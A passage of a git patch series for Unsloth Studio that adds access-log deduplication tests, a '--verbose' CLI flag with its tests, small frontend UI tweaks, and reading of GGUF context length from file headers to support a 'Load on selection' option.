+def test_kv_cache_pct_not_emitted_when_metric_absent():
+    # llama.cpp does not expose kv_cache_usage_ratio, so it must not appear.
+    snaps = [
+        {
+            "tokens_predicted_total": 0.0,
+            "prompt_tokens_total": 0.0,
+            "predicted_tokens_seconds": 10.0,
+            "requests_processing": 1.0,
+        },
+        {
+            "tokens_predicted_total": 10.0,
+            "prompt_tokens_total": 5.0,
+            "predicted_tokens_seconds": 10.0,
+            "requests_processing": 1.0,
+        },
+    ]
+    stats = _drive(snaps)
+    assert stats
+    assert all("kv_cache_pct" not in s for s in stats)
+
+
+def test_scrape_parses_labelled_and_bare_metrics(monkeypatch):
+    # Prometheus samples may carry labels; both labelled and bare lines parse.
+    import core.inference.llama_stats as ls
+
+    body = (
+        'llamacpp:tokens_predicted_total{model="m"} 20\n'
+        'llamacpp:prompt_tokens_total{model="m"} 5\n'
+        "llamacpp:requests_processing 1\n"
+        "# HELP llamacpp:ignored ignored\n"
+    )
+
+    class _Resp:
+        status = 200
+
+        def read(self):
+            return body.encode()
+
+        def __enter__(self):
+            return self
+
+        def __exit__(self, *a):
+            return False
+
+    monkeypatch.setattr(ls.urllib.request, "urlopen", lambda *a, **k: _Resp())
+    m = ls.LlamaServerStatsLogger("http://127.0.0.1:0", _Capture())._scrape()
+    assert m["tokens_predicted_total"] == 20.0
+    assert m["prompt_tokens_total"] == 5.0
+    assert m["requests_processing"] == 1.0
+
+
+def test_counter_delta_fallback_without_gauges():
+    # Older binaries expose only the counters; throughput falls back to deltas.
+    snaps = [
+        {"tokens_predicted_total": 100.0, "prompt_tokens_total": 0.0, "requests_processing": 1.0},
+        {"tokens_predicted_total": 100.0, "prompt_tokens_total": 0.0, "requests_processing": 1.0},
+    ]
+    stats = _drive(snaps)
+    # running=1 keeps it emitting; gen_tok_s falls back to the (here zero) delta.
+    assert stats and all(s["gen_tok_s"] >= 0.0 for s in stats)
diff --git a/studio/backend/tests/test_logging_middleware.py b/studio/backend/tests/test_logging_middleware.py
index 34d43942ef..89061a5cbd 100644
--- a/studio/backend/tests/test_logging_middleware.py
+++ b/studio/backend/tests/test_logging_middleware.py
@@ -123,6 +123,100 @@ def test_non_http_scope_passes_through(logs):
     assert logs.events == []
 
 
+def test_duplicate_get_within_window_deduped(logs, monkeypatch):
+    monkeypatch.setattr(hmod, "_ACCESS_LOG_DEDUP_MS", 1000)
+
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok"})
+
+    async def send(message):
+        pass
+
+    mw = LoggingMiddleware(app)
+    for _ in range(3):
+        _run(mw(_http_scope("/api/chat/projects"), _noop_receive, send))
+
+    # Only the first of the identical GET/200 burst is logged.
+    assert len(logs.events) == 1
+    assert logs.events[0][1] == "request_completed"
+
+
+def test_mutations_and_errors_are_never_deduped(logs, monkeypatch):
+    monkeypatch.setattr(hmod, "_ACCESS_LOG_DEDUP_MS", 1000)
+
+    async def post_ok(scope, receive, send):
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok"})
+
+    async def get_404(scope, receive, send):
+        await send({"type": "http.response.start", "status": 404, "headers": []})
+        await send({"type": "http.response.body", "body": b""})
+
+    async def send(message):
+        pass
+
+    mw = LoggingMiddleware(post_ok)
+    for _ in range(2):
+        _run(mw(_http_scope("/api/chat/threads", method = "POST"), _noop_receive, send))
+    mw_404 = LoggingMiddleware(get_404)
+    for _ in range(2):
+        _run(mw_404(_http_scope("/api/models"), _noop_receive, send))
+
+    # 2 mutations + 2 errors all logged (dedup only touches GET/2xx).
+    assert len(logs.events) == 4
+
+
+def test_quiet_poll_paths_use_longer_heartbeat_window(logs, monkeypatch):
+    # Burst dedup off, quiet-poll heartbeat on: only liveness paths collapse.
+    monkeypatch.setattr(hmod, "_ACCESS_LOG_DEDUP_MS", 0)
+    monkeypatch.setattr(hmod, "_QUIET_POLL_DEDUP_MS", 1000)
+
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok"})
+
+    async def send(message):
+        pass
+
+    mw = LoggingMiddleware(app)
+    for _ in range(3):
+        _run(mw(_http_scope("/api/inference/monitor"), _noop_receive, send))  # quiet
+    for _ in range(3):
+        _run(mw(_http_scope("/api/chat/projects"), _noop_receive, send))  # normal
+
+    paths = [e[2]["path"] for e in logs.events]
+    assert paths.count("/api/inference/monitor") == 1  # collapsed to one heartbeat
+    assert paths.count("/api/chat/projects") == 3  # base dedup off -> all logged
+
+
+def test_distinct_query_strings_are_not_deduped(logs, monkeypatch):
+    monkeypatch.setattr(hmod, "_ACCESS_LOG_DEDUP_MS", 1000)
+
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok"})
+
+    async def send(message):
+        pass
+
+    def scope(query):
+        return {
+            "type": "http",
+            "path": "/api/models/browse-folders",
+            "method": "GET",
+            "query_string": query,
+        }
+
+    mw = LoggingMiddleware(app)
+    _run(mw(scope(b"path=/tmp/a"), _noop_receive, send))
+    _run(mw(scope(b"path=/tmp/b"), _noop_receive, send))  # distinct query -> logs
+    _run(mw(scope(b"path=/tmp/a"), _noop_receive, send))  # repeat of first -> deduped
+
+    # Two distinct query strings log; the immediate repeat of the first does not.
+    assert len(logs.events) == 2
+
+
 def test_fastapi_static_asset_success_skips_log(tmp_path, logs):
     assets_dir = tmp_path / "assets"
     assets_dir.mkdir()
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 69df81acad..fa7a103797 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -24,6 +24,13 @@ import typer
 studio_app = typer.Typer(help = "Unsloth Studio commands.")
 
 
+def _enable_verbose_access_logs() -> None:
+    """Restore every per-request access log by disabling the burst dedup and the
+    quiet-poll heartbeat. Inherited by the spawned/re-exec'd server via the env."""
+    os.environ["UNSLOTH_STUDIO_ACCESS_LOG_DEDUP_MS"] = "0"
+    os.environ["UNSLOTH_STUDIO_ACCESS_LOG_POLL_DEDUP_MS"] = "0"
+
+
 # Resolve install root: UNSLOTH_STUDIO_HOME, then STUDIO_HOME alias, then
 # sys.prefix inference (so a direct call to <root>/bin/unsloth resolves after
 # the installer's env var has expired), then legacy ~/.unsloth/studio.
@@ -668,6 +675,13 @@ def studio_default(
         "if the tunnel can't start. Without it, --not-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network.",
     ),
+    verbose: bool = typer.Option(
+        False,
+        "--verbose",
+        "-v",
+        help = "Log every API request, including the high-frequency polling that is "
+        "deduplicated by default.",
+    ),
 ):
     """Launch the Unsloth Studio server."""
     # Runs before every subcommand (run/setup/update/...).
@@ -705,6 +719,16 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
+        # Same for --verbose: it would not reach the subcommand.
+        if verbose:
+            typer.echo(
+                f"Error: --verbose on `unsloth studio` applies to the "
+                f"plain-server path only. For `unsloth studio "
+                f"{ctx.invoked_subcommand}`, put it after the subcommand: "
+                f"`unsloth studio {ctx.invoked_subcommand} --verbose ...`",
+                err = True,
+            )
+            raise typer.Exit(2)
         return
 
     # --secure requires the tunnel; force a loopback bind.
@@ -718,6 +742,11 @@ def studio_default(
             raise typer.Exit(2)
         host = "127.0.0.1"
 
+    # --verbose restores the per-request access logs that are suppressed by
+    # default (plain-server path; the `run` subcommand has its own --verbose).
+    if verbose:
+        _enable_verbose_access_logs()
+
     # Use the studio venv if it exists and we aren't already in it.
     studio_venv_dir = STUDIO_HOME / "unsloth_studio"
     in_studio_venv = sys.prefix.startswith(str(studio_venv_dir))
@@ -926,6 +955,13 @@ def run(
     gguf_variant: Optional[str] = typer.Option(
         None, "--gguf-variant", help = "GGUF quant variant (e.g. UD-Q4_K_XL)"
     ),
+    verbose: bool = typer.Option(
+        False,
+        "--verbose",
+        "-v",
+        help = "Log every API request, including the high-frequency polling that is "
+        "deduplicated by default.",
+    ),
     max_seq_length: int = typer.Option(
         0,
         "--max-seq-length",
@@ -1009,6 +1045,14 @@ def run(
     """
     extra_llama_args: List[str] = list(ctx.args) if ctx.args else []
 
+    # Set before any re-exec so the in-venv server inherits it via the env.
+    # `run --verbose` used to pass through to llama-server (its own -v); keep
+    # that by forwarding --log-verbose so we add Studio logs without dropping it.
+    if verbose:
+        _enable_verbose_access_logs()
+        if not any(a in ("--verbose", "-v", "--log-verbose") for a in extra_llama_args):
+            extra_llama_args.append("--log-verbose")
+
     # Promote legacy exact `-m`/`-hfr`/`-f` back into typer params;
     # clusters stay in extras.
     model, extra_llama_args = _consume_legacy_short_aliases(
@@ -1127,6 +1171,8 @@ def run(
         args.append("--cloudflare" if cloudflare else "--no-cloudflare")
         args.append("--secure" if secure else "--not-secure")
         args.append("--tensor-parallel" if tensor_parallel else "--no-tensor-parallel")
+        if verbose:
+            args.append("--verbose")
         # llama-server pass-through extras → child ctx.args → load payload.
         if extra_llama_args:
             args.extend(extra_llama_args)
diff --git a/unsloth_cli/tests/test_studio_verbose_flag.py b/unsloth_cli/tests/test_studio_verbose_flag.py
new file mode 100644
index 0000000000..4af32fd4a2
--- /dev/null
+++ b/unsloth_cli/tests/test_studio_verbose_flag.py
@@ -0,0 +1,154 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the `--verbose/-v` Studio flag: option registration on both the
+plain callback and the `run` subcommand, re-exec forwarding, the access-log
+env override, and rejection before a subcommand. Modeled on
+test_studio_secure_flag.py."""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+from typer.testing import CliRunner
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+_DEDUP = "UNSLOTH_STUDIO_ACCESS_LOG_DEDUP_MS"
+_POLL = "UNSLOTH_STUDIO_ACCESS_LOG_POLL_DEDUP_MS"
+_BASE = ["--model", "unsloth/Qwen3-1.7B-GGUF"]
+
+
+def _studio():
+    from unsloth_cli.commands import studio as _studio_mod
+    return _studio_mod
+
+
+# ── option registration ──────────────────────────────────────────────
+
+
+def test_run_exposes_verbose_option_default_off():
+    import inspect
+
+    opt = inspect.signature(_studio().run).parameters["verbose"].default
+    decls = set(getattr(opt, "param_decls", []) or [])
+    assert "--verbose" in decls and "-v" in decls
+    assert getattr(opt, "default", None) is False
+
+
+def test_studio_default_exposes_verbose_option_default_off():
+    import inspect
+
+    opt = inspect.signature(_studio().studio_default).parameters["verbose"].default
+    decls = set(getattr(opt, "param_decls", []) or [])
+    assert "--verbose" in decls and "-v" in decls
+    assert getattr(opt, "default", None) is False
+
+
+# ── re-exec capture plumbing (mirrors test_studio_secure_flag.py) ─────
+
+
+class _ExecCaptured(SystemExit):
+    def __init__(self, argv):
+        super().__init__(0)
+        self.argv = list(argv)
+
+
+def _invoke_run(monkeypatch, args):
+    import typer as _typer
+
+    studio_mod = _studio()
+    captured = []
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    fake_bin = fake_venv / "bin" / "unsloth"
+    real_is_file = Path.is_file
+    monkeypatch.setattr(
+        Path,
+        "is_file",
+        lambda self: True if str(self) == str(fake_bin) else real_is_file(self),
+    )
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        captured.append(list(argv))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    CliRunner().invoke(app, args, catch_exceptions = True)
+    return captured
+
+
+# ── re-exec forwarding + env override ─────────────────────────────────
+
+
+def test_run_verbose_sets_env_and_forwards_on_reexec(monkeypatch):
+    monkeypatch.delenv(_DEDUP, raising = False)
+    monkeypatch.delenv(_POLL, raising = False)
+    captured = _invoke_run(monkeypatch, _BASE + ["--verbose"])
+    assert len(captured) == 1, captured
+    assert "--verbose" in captured[0], captured[0]
+    import os as _os
+
+    assert _os.environ.get(_DEDUP) == "0"
+    assert _os.environ.get(_POLL) == "0"
+
+
+def test_run_without_verbose_leaves_env_unset(monkeypatch):
+    monkeypatch.delenv(_DEDUP, raising = False)
+    monkeypatch.delenv(_POLL, raising = False)
+    captured = _invoke_run(monkeypatch, _BASE)
+    assert len(captured) == 1, captured
+    assert "--verbose" not in captured[0], captured[0]
+    assert "--log-verbose" not in captured[0], captured[0]
+    import os as _os
+
+    assert _os.environ.get(_DEDUP) is None
+    assert _os.environ.get(_POLL) is None
+
+
+def test_run_verbose_preserves_llama_server_verbosity(monkeypatch):
+    # Studio consumes --verbose but still forwards llama-server's own verbosity.
+    monkeypatch.delenv(_DEDUP, raising = False)
+    monkeypatch.delenv(_POLL, raising = False)
+    captured = _invoke_run(monkeypatch, _BASE + ["--verbose"])
+    assert len(captured) == 1, captured
+    assert "--log-verbose" in captured[0], captured[0]
+
+
+def test_run_verbose_does_not_duplicate_existing_llama_verbose(monkeypatch):
+    monkeypatch.delenv(_DEDUP, raising = False)
+    monkeypatch.delenv(_POLL, raising = False)
+    captured = _invoke_run(monkeypatch, _BASE + ["--verbose", "--log-verbose"])
+    assert len(captured) == 1, captured
+    assert captured[0].count("--log-verbose") == 1, captured[0]
+
+
+# ── --verbose before a subcommand is rejected ─────────────────────────
+
+
+def test_studio_default_rejects_verbose_with_subcommand():
+    import typer as _typer
+
+    studio_mod = _studio()
+    app = _typer.Typer()
+    app.add_typer(studio_mod.studio_app, name = "studio")
+    result = CliRunner().invoke(app, ["studio", "--verbose", "run", "--model", "X"])
+    assert result.exit_code == 2, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "--verbose" in combined, combined

From 68396ad125fb80a60ecdc94dc41479a288e45217 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 17 Jun 2026 06:13:33 -0700
Subject: [PATCH 44/91] Studio Hub: preview first README in split view feed and
 round status chips into pills (#6404)

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
---
 .../frontend/src/features/hub/catalog/model-inspector.tsx | 2 +-
 studio/frontend/src/features/hub/hub-page.tsx             | 8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/studio/frontend/src/features/hub/catalog/model-inspector.tsx b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
index 371d595ddc..0f244bce53 100644
--- a/studio/frontend/src/features/hub/catalog/model-inspector.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
@@ -201,7 +201,7 @@ function StatusChip({
   return (
     <span
       className={cn(
-        "inline-flex h-5 shrink-0 items-center whitespace-nowrap rounded-[7px] border bg-transparent px-1.5 text-[11px] font-medium leading-none",
+        "inline-flex h-5 shrink-0 items-center whitespace-nowrap rounded-full border bg-transparent px-2 text-[11px] font-medium leading-none",
         toneClass,
         className,
       )}
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index dc9a640cd7..5ce58f4362 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -926,10 +926,11 @@ export function ModelsPage() {
     }
   }, [allModelsView]);
 
-  // Split view previews the first row so the detail pane isn't empty, except in
-  // feed mode where the feed must stay visible.
+  // Split view previews the first row so the detail pane isn't empty. Feed mode
+  // included: split view hides the trending feed and shows only the master list,
+  // so previewing its first row lands on a real README instead of a placeholder.
   useEffect(() => {
-    if (allModelsView !== "split" || urlModel || isFeedMode) return;
+    if (allModelsView !== "split" || urlModel) return;
     // Use the filtered rows the master pane renders, not raw inventory, so the
     // preview never lands on a filtered-out row.
     const firstId = isDiscoverTab
@@ -945,7 +946,6 @@ export function ModelsPage() {
   }, [
     allModelsView,
     urlModel,
-    isFeedMode,
     isDiscoverTab,
     listRows,
     filteredCachedRows,

From c6cf53759b1352e1e8c1d3424e1f111ed6bc6dfc Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Wed, 17 Jun 2026 12:24:10 -0300
Subject: [PATCH 45/91] Studio: add 'Load on selection' toggle to configure
 load options before loading (#6348)

* Studio: add 'Load on selection' toggle to configure load options before loading

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: seed staged speculative decoding from the standing default

* Studio: address PR review for load-on-selection staging

* Studio: handle direct GGUF staging and stale-stage edge cases from load-on-selection review

* Studio: cancel replaced staged downloads and keep staged pick on load failure

* Studio: centralize staged-download cancel and guard staged-load restore

* fix: address staged GGUF load review

* fix: honor staged GGUF load metadata

* fix: clarify load-on-selection tooltip

Keep the load-on-selection hint visually anchored to the control and make the on/off behavior explicit without changing the broader deferred-load flow.

* Studio: reset orphaned staged knobs on abandon and cap Max Tokens to staged context

* Studio: remove dead code and cancel staged download when loading a different model

* fix: surface staged model in run settings before deferred load

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 studio/backend/hub/utils/gguf.py              |  14 ++
 studio/backend/models/inference.py            |  10 +
 studio/backend/routes/inference.py            |  30 ++-
 studio/backend/tests/test_gguf_metadata.py    |  76 ++++++-
 studio/backend/utils/models/gguf_metadata.py  |  90 +++++++++
 studio/frontend/src/app/routes/__root.tsx     |   2 +
 .../assistant-ui/model-selector.tsx           |  46 +++++
 .../assistant-ui/model-selector/pickers.tsx   |   7 +-
 .../assistant-ui/model-selector/types.ts      |   3 +
 .../frontend/src/components/ui/info-hint.tsx  |  43 ++++
 .../src/features/chat/api/chat-api.ts         |  40 ++++
 .../frontend/src/features/chat/chat-page.tsx  | 144 ++++++++++++-
 .../src/features/chat/chat-settings-sheet.tsx | 189 ++++++++++++------
 .../components/openai-code-exec-section.tsx   |   2 +-
 .../chat/hooks/use-chat-model-runtime.ts      |  36 +++-
 .../hooks/use-staged-model-preparation.ts     | 114 +++++++++++
 .../features/chat/presets/preset-policy.ts    |   4 +-
 .../chat/stores/chat-runtime-store.ts         | 130 ++++++++++++
 .../frontend/src/features/chat/types/api.ts   |   2 +
 .../download-manager-controller.ts            |  24 +++
 .../features/hub/download-manager/index.ts    |   1 +
 studio/frontend/src/features/hub/hub-page.tsx |  18 ++
 studio/frontend/src/features/hub/index.ts     |   4 +
 23 files changed, 948 insertions(+), 81 deletions(-)
 create mode 100644 studio/frontend/src/components/ui/info-hint.tsx
 create mode 100644 studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
 create mode 100644 studio/frontend/src/features/hub/index.ts

diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.py
index 4eb8180628..acd650bf42 100644
--- a/studio/backend/hub/utils/gguf.py
+++ b/studio/backend/hub/utils/gguf.py
@@ -353,6 +353,20 @@ def list_partial_gguf_variants_from_state(
     return variants, has_vision
 
 
+def resolve_local_gguf_path(repo_id: str, gguf_variant: Optional[str]) -> Optional[str]:
+    """Absolute path to the (shard-1) GGUF file for ``repo_id`` + ``gguf_variant``
+    if it is already downloaded in the HF cache, else ``None``. Read-only — never
+    triggers a download. Lets callers read header metadata before a load."""
+    for snapshot in iter_hf_cache_snapshots(repo_id):
+        variants, _ = list_local_gguf_variants(str(snapshot))
+        for variant in variants:
+            if gguf_variant is None or variant.quant == gguf_variant:
+                candidate = snapshot / variant.filename
+                if candidate.is_file():
+                    return str(candidate)
+    return None
+
+
 def list_gguf_variants(
     repo_id: str, hf_token: Optional[str] = None
 ) -> tuple[list[GgufVariantInfo], bool, Optional[list]]:
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 82949870da..fdc3bb25c6 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -125,6 +125,11 @@ class ValidateModelRequest(BaseModel):
     gguf_variant: Optional[str] = Field(
         None, description = "GGUF quantization variant (e.g. 'Q4_K_M')"
     )
+    include_context_length: bool = Field(
+        False,
+        description = "Also read the native context length from the local GGUF header. "
+        "Opt-in so the normal load preflight doesn't pay for a cache scan it doesn't need.",
+    )
 
 
 class ValidateModelResponse(BaseModel):
@@ -144,6 +149,11 @@ class ValidateModelResponse(BaseModel):
         False,
         description = "Whether the model defaults require trust_remote_code to be enabled for loading.",
     )
+    context_length: Optional[int] = Field(
+        None,
+        description = "Native training context length, read from the GGUF header when the file "
+        "is already downloaded locally; None for non-GGUF, gated, or not-yet-downloaded models.",
+    )
 
 
 class GenerateRequest(BaseModel):
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 48b13d31c9..71cee33b24 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -2536,6 +2536,33 @@ async def validate_model(
                 detail = f"Invalid model identifier: {model_log_label}",
             )
 
+        is_gguf = getattr(config, "is_gguf", False)
+        # Native context length, read from the local GGUF header when present.
+        # Lets the staged ("Load on selection" off) flow populate the context
+        # slider before the GPU load; None until the file is downloaded.
+        context_length: Optional[int] = None
+        if request.include_context_length and is_gguf:
+            from hub.utils.gguf import resolve_local_gguf_path
+            from utils.models.gguf_metadata import read_gguf_context_length
+
+            # Best-effort: a header-read failure must never fail validation of an
+            # otherwise-valid model (the outer except turns it into a 400).
+            try:
+                if native_grant_backed:
+                    # model_identifier is the resolved canonical .gguf path.
+                    local_gguf = model_identifier
+                else:
+                    # Local folder / exported GGUFs already have their file
+                    # resolved on the config (gguf_file is None for HF repos, so
+                    # those fall back to the HF-cache lookup).
+                    local_gguf = config.gguf_file or resolve_local_gguf_path(
+                        model_identifier, request.gguf_variant
+                    )
+                if local_gguf:
+                    context_length = read_gguf_context_length(local_gguf)
+            except Exception as e:
+                logger.debug("Context-length probe failed for %s: %s", model_log_label, e)
+
         return ValidateModelResponse(
             valid = True,
             message = "Model identifier is valid.",
@@ -2543,12 +2570,13 @@ async def validate_model(
             display_name = model_log_label
             if native_grant_backed
             else getattr(config, "display_name", config.identifier),
-            is_gguf = getattr(config, "is_gguf", False),
+            is_gguf = is_gguf,
             is_lora = getattr(config, "is_lora", False),
             is_vision = getattr(config, "is_vision", False),
             requires_trust_remote_code = bool(
                 load_inference_config(config.identifier).get("trust_remote_code", False)
             ),
+            context_length = context_length,
         )
 
     except HTTPException:
diff --git a/studio/backend/tests/test_gguf_metadata.py b/studio/backend/tests/test_gguf_metadata.py
index d3d4387720..a5be07f8e3 100644
--- a/studio/backend/tests/test_gguf_metadata.py
+++ b/studio/backend/tests/test_gguf_metadata.py
@@ -13,6 +13,7 @@ from typing import Iterable, Mapping
 from utils.models.gguf_metadata import (
     is_mmproj_by_metadata,
     pairing_score,
+    read_gguf_context_length,
     read_gguf_general_metadata,
     read_mmproj_audio_capability,
 )
@@ -21,6 +22,7 @@ from utils.models.gguf_metadata import (
 _GGUF_MAGIC = 0x46554747
 _VTYPE_STRING = 8
 _VTYPE_UINT32 = 4
+_VTYPE_UINT64 = 10
 _VTYPE_ARRAY = 9
 _VTYPE_BOOL = 7
 
@@ -38,6 +40,10 @@ def _enc_kv_uint32(key: str, value: int) -> bytes:
     return _enc_string(key) + struct.pack("<I", _VTYPE_UINT32) + struct.pack("<I", value)
 
 
+def _enc_kv_uint64(key: str, value: int) -> bytes:
+    return _enc_string(key) + struct.pack("<I", _VTYPE_UINT64) + struct.pack("<Q", value)
+
+
 def _enc_kv_bool(key: str, value: bool) -> bytes:
     return _enc_string(key) + struct.pack("<I", _VTYPE_BOOL) + struct.pack("<B", 1 if value else 0)
 
@@ -56,21 +62,29 @@ def _write_synthetic_gguf(
     general_strings: Mapping[str, str],
     *,
     extra_uint32: Mapping[str, int] | None = None,
+    extra_uint64: Mapping[str, int] | None = None,
     extra_string_arrays: Mapping[str, Iterable[str]] | None = None,
     extra_bools: Mapping[str, bool] | None = None,
 ) -> Path:
     """Minimal GGUF: header + KV body, no tensors."""
     extra_uint32 = extra_uint32 or {}
+    extra_uint64 = extra_uint64 or {}
     extra_string_arrays = extra_string_arrays or {}
     extra_bools = extra_bools or {}
     kv_count = (
-        len(general_strings) + len(extra_uint32) + len(extra_string_arrays) + len(extra_bools)
+        len(general_strings)
+        + len(extra_uint32)
+        + len(extra_uint64)
+        + len(extra_string_arrays)
+        + len(extra_bools)
     )
     body = b""
     for k, v in general_strings.items():
         body += _enc_kv_string(k, v)
     for k, v in extra_uint32.items():
         body += _enc_kv_uint32(k, v)
+    for k, v in extra_uint64.items():
+        body += _enc_kv_uint64(k, v)
     for k, v in extra_string_arrays.items():
         body += _enc_kv_string_array(k, v)
     for k, v in extra_bools.items():
@@ -100,6 +114,66 @@ def test_returns_none_for_non_gguf(tmp_path: Path):
     assert read_gguf_general_metadata(str(p)) is None
 
 
+def test_context_length_none_for_missing_file(tmp_path: Path):
+    assert read_gguf_context_length(str(tmp_path / "nope.gguf")) is None
+
+
+def test_context_length_none_for_non_gguf(tmp_path: Path):
+    p = tmp_path / "garbage.gguf"
+    p.write_bytes(b"not a gguf file at all, just bytes")
+    assert read_gguf_context_length(str(p)) is None
+
+
+def test_context_length_read_from_arch_namespaced_key(tmp_path: Path):
+    p = _write_synthetic_gguf(
+        tmp_path / "model.gguf",
+        {"general.architecture": "llama"},
+        extra_uint32 = {"llama.context_length": 4096, "llama.block_count": 32},
+    )
+    assert read_gguf_context_length(str(p)) == 4096
+
+
+def test_context_length_none_when_absent(tmp_path: Path):
+    # Architecture present but no <arch>.context_length key.
+    p = _write_synthetic_gguf(
+        tmp_path / "model.gguf",
+        {"general.architecture": "llama"},
+        extra_uint32 = {"llama.block_count": 32},
+    )
+    assert read_gguf_context_length(str(p)) is None
+
+
+def test_context_length_ignores_foreign_arch_key(tmp_path: Path):
+    # A context_length under a different arch namespace must not match.
+    p = _write_synthetic_gguf(
+        tmp_path / "model.gguf",
+        {"general.architecture": "llama"},
+        extra_uint32 = {"qwen2.context_length": 8192},
+    )
+    assert read_gguf_context_length(str(p)) is None
+
+
+def test_context_length_read_from_uint64(tmp_path: Path):
+    # Some models store context_length as a uint64 (vtype 10).
+    p = _write_synthetic_gguf(
+        tmp_path / "model.gguf",
+        {"general.architecture": "qwen3"},
+        extra_uint64 = {"qwen3.context_length": 262144},
+    )
+    assert read_gguf_context_length(str(p)) == 262144
+
+
+def test_context_length_zero_treated_as_absent(tmp_path: Path):
+    # A zero/garbage ceiling must read as None so the UI can't build a slider
+    # with max < min.
+    p = _write_synthetic_gguf(
+        tmp_path / "model.gguf",
+        {"general.architecture": "llama"},
+        extra_uint32 = {"llama.context_length": 0},
+    )
+    assert read_gguf_context_length(str(p)) is None
+
+
 def test_extracts_general_string_fields(tmp_path: Path):
     p = _write_synthetic_gguf(
         tmp_path / "model.gguf",
diff --git a/studio/backend/utils/models/gguf_metadata.py b/studio/backend/utils/models/gguf_metadata.py
index a2912cc843..c24ec28e1d 100644
--- a/studio/backend/utils/models/gguf_metadata.py
+++ b/studio/backend/utils/models/gguf_metadata.py
@@ -50,6 +50,10 @@ _CACHE_MAX_ENTRIES = 4096
 # keyed by (file cache key, wanted key). None = key absent / file unreadable.
 _BOOL_CACHE: Dict[Tuple[_CacheKey, str], Optional[bool]] = {}
 
+# Native training context length (``{arch}.context_length``). None = absent /
+# unreadable. Lets the UI show the real context ceiling before a model loads.
+_CONTEXT_CACHE: Dict[_CacheKey, Optional[int]] = {}
+
 
 def _cache_key(path: str) -> Optional[_CacheKey]:
     try:
@@ -138,6 +142,92 @@ def _parse_gguf_header(path: str) -> Optional[Dict[str, str]]:
     return out
 
 
+def read_gguf_context_length(path: str) -> Optional[int]:
+    """Return the GGUF's native training context length (``{arch}.context_length``),
+    or ``None`` if missing/unreadable/not a GGUF. Cached by (path, mtime, size).
+    Lets the UI populate the context slider before the model is loaded."""
+    key = _cache_key(path)
+    if key is None:
+        return None
+    with _CACHE_LOCK:
+        if key in _CONTEXT_CACHE:
+            return _CONTEXT_CACHE[key]
+    result = _parse_gguf_context_length(path)
+    with _CACHE_LOCK:
+        while len(_CONTEXT_CACHE) >= _CACHE_MAX_ENTRIES:
+            try:
+                _CONTEXT_CACHE.pop(next(iter(_CONTEXT_CACHE)))
+            except StopIteration:
+                break
+        _CONTEXT_CACHE[key] = result
+    return result
+
+
+def _parse_gguf_context_length(path: str) -> Optional[int]:
+    # The context key is architecture-namespaced (``llama.context_length`` etc.),
+    # so we learn the key only after reading ``general.architecture``. GGUF writes
+    # general.* before arch.* keys, matching the loader's own parser.
+    ctx_key: Optional[str] = None
+    try:
+        with open(path, "rb") as f:
+            head = f.read(24)
+            if len(head) < 24:
+                return None
+            magic, _version, _tcount, kv_count = struct.unpack("<IIQQ", head)
+            if magic != _GGUF_MAGIC:
+                return None
+
+            for _ in range(kv_count):
+                try:
+                    klen_bytes = f.read(8)
+                    if len(klen_bytes) < 8:
+                        break
+                    klen = struct.unpack("<Q", klen_bytes)[0]
+                    if klen > 1 << 20:  # 1 MB sanity bound
+                        break
+                    kbytes = f.read(klen)
+                    if len(kbytes) < klen:
+                        break
